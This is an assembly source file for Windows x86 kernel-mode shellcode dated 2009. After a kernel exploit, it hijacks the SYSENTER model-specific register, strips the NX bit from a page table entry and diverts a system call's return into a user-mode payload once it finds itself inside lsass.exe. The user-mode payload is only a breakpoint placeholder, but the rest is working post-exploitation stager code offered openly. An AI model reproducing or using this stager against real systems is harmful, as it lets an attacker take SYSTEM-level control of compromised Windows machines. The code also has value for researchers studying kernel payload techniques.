;=================================================================================== ; sf - October 2009. ; ; The shellcode will work as follows. After gaining arbitrary code execution, ; presumably from a remote kernel mode vulnerability, we will initially migrate out ; of the current kernel thread we are executing in by hijacking the sysenter Model ; Specific Register (MSR). Now whenever a user mode process performs a system call ; via the sysenter instruction, our kernel mode stager will get control. This stager ; will determine if it should hijack the user mode threads return address for the ; system call. If it does our user mode stager will get control and determine if it ; is executing in a predetermined SYSTEM process (e.g. LSASS.EXE is a good choice). ; If it is, the kernel mode sysenter hook is removed before finally executing the ; user mode payload. Should the user mode payload return cleanly, the hijacked user ; mode thread may resume execution normally. ; ; Recommended Reading: Kernel-mode Payloads on Windows, 2005, bugcheck & skape. ; http://www.uninformed.org/?v=3&a=4&t=sumry ;=================================================================================== [bits 32] [org 0] ;=================================================================================== ring0_migrate_start: cld cli jmp short ring0_migrate_bounce ; jump to bounce to get ring0_stager_start address ring0_migrate_patch: pop esi ; pop off ring0_stager_start address ; get current sysenter msr (nt!KiFastCallEntry) push 0x176 ; SYSENTER_EIP_MSR pop ecx rdmsr ; save origional sysenter msr (nt!KiFastCallEntry) mov dword [ esi + ( ring0_stager_data - ring0_stager_start ) + 0 ], eax ; retrieve the address in kernel memory where we will write the ring0 stager + ring3 code mov edi, dword [ esi + ( ring0_stager_data - ring0_stager_start ) + 4 ] ; patch sysenter msr to be our stager mov eax, edi wrmsr ; copy over stager to shared memory mov ecx, ( ring3_stager_end - ring0_stager_start ) rep movsb sti ; set interrupt flag ; Halt this thread to avoid problems. ring0_migrate_idle: hlt jmp short ring0_migrate_idle ring0_migrate_bounce: call ring0_migrate_patch ; call the patch code, pushing the ring0_stager_start address to stack ;=================================================================================== ; This stager will now get called every time a ring3 process issues a sysenter ring0_stager_start: push byte 0 ; alloc a dword for the patched return address pushfd ; save flags and registers pushad call ring0_stager_eip ring0_stager_eip: pop eax ; patch in the real nt!KiFastCallEntry address as our return address mov ebx, dword [ eax + ( ring0_stager_data - ring0_stager_eip ) + 0 ] mov [ esp + 36 ], ebx ; see if we are being told to remove our sysenter hook... cmp ecx, 0xDEADC0DE jne ring0_stager_hook push 0x176 ; SYSENTER_EIP_MSR pop ecx mov eax, ebx ; set the sysenter msr to be the real nt!KiFastCallEntry address xor edx, edx wrmsr xor eax, eax ; clear eax (the syscall number) so we can continue jmp short ring0_stager_finish ring0_stager_hook: ; get the origional r3 return address (edx is the ring3 stack pointer) mov esi, [ edx ] ; determine if the return is to a "ret" instruction movzx ebx, byte [ esi ] cmp bx, 0xC3 ; only insert our ring3 stager hook if we are to return to a single ret (for stability). jne short ring0_stager_finish ; calculate our r3 address in shared memory mov ebx, dword [ eax + ( ring0_stager_data - ring0_stager_eip ) + 8 ] lea ebx, [ ebx + ring3_start - ring0_stager_start ] ; patch in our r3 stage as the r3 return address mov [ edx ], ebx ; detect if NX is present (clobbers eax,ebx,ecx,edx)... mov eax, 0x80000001 cpuid and edx, 0x00100000 ; bit 20 is the NX bit jz short ring0_stager_finish ; modify the correct page table entry to make our ring3 stager executable mov edx, 0xC03FFF00 ; we default to 0xC03FFF00 this for now (should calculate dynamically). add edx, 4 and dword [ edx ], 0x7FFFFFFF ; clear the NX bit ; finish up by returning into the real KiFastCallEntry and then returning into our ring3 code (if hook was set). ring0_stager_finish: popad ; restore registers popfd ; restore flags ret ; return to real nt!KiFastCallEntry ring0_stager_data: dd 0xFFFFFFFF ; saved nt!KiFastCallEntry dd 0xFFDF0400 ; kernel memory address of stager dd 0x7FFE0400 ; shared user memory address of stager ;=================================================================================== ring3_start: pushad push byte 0x30 pop eax cdq ; zero edx mov ebx, [ fs : eax ] ; get the PEB cmp [ ebx + 0xC ], edx jz ring3_finish mov eax, [ ebx + 0x10 ] ; get pointer to the ProcessParameters (_RTL_USER_PROCESS_PARAMETERS) mov eax, [ eax + 0x3C ] ; get the current processes ImagePathName (unicode string) add eax, byte 0x28 ; advance past '*:\windows\system32\' (we assume this as we want a system process). mov ecx, [ eax ] ; compute a simple hash of the name. get first 2 wide chars of name 'l\x00s\x00' add ecx, [ eax + 0x3 ] ; and add '\x00a\x00s' cmp ecx, 'lass' ; check the hash (default to hash('lsass.exe') == 0x7373616C) jne ring3_finish ; if we are not currently in the correct process, return to real caller call ring3_cleanup ; otherwise we first remove our ring0 sysenter hook call ring3_stager ; and then call the real ring3 payload jmp ring3_finish ; should the payload return we can resume this thread correclty. ring3_cleanup: mov ecx, 0xDEADC0DE ; set the magic value for ecx mov edx, esp ; save our esp in edx for sysenter sysenter ; now sysenter into ring0 to remove the sysenter hook (return to ring3_cleanup's caller). ring3_finish: popad ret ; return to the origional system calls caller ;=================================================================================== ring3_stager: ; ...ring3 stager here... db 0xCC ; a simple debug breakpoint ring3_stager_end: ;===================================================================================